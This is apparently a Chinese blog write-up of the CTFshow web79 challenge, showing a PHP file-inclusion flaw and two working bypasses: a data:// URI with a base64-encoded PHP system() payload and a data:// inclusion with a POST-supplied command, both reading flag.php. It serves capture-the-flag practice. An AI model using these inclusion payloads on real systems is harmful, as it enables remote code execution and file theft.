CTFshow-WEB入门-文件包含(web79)

释放双眼,带上耳机,听听看~!

打开题目,看到代码

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里替换php为???,所以需要使用其他的伪协议且get参数里面不能包含php。

方法一:

使用base64加密以后执行

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

这里PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=<?php system(‘cat flag.php’);加密而来。

发送以后查看网页源代码得到flag。

方法二:

使用eval函数和post传参,get参数加:

?file=data://text/plain,

post参数为:

1=system("tac flag.php");

得到flag。


补充:

cat命令:

连接文件并打印到标准输出设备上,cat经常用来显示文件的内容。

tac命令:

反序输出文件的内容,文件的最后一行显示在第一行

它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序。

给TA打赏
共{{data.count}}人
人已打赏
CTF笔记

CTFshow-WEB入门-命令执行(web29-web36)

2022-3-22 21:26:13

CTF笔记PHP

CTFshow-WEB入门-爆破(web23)

2022-3-29 21:20:15

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索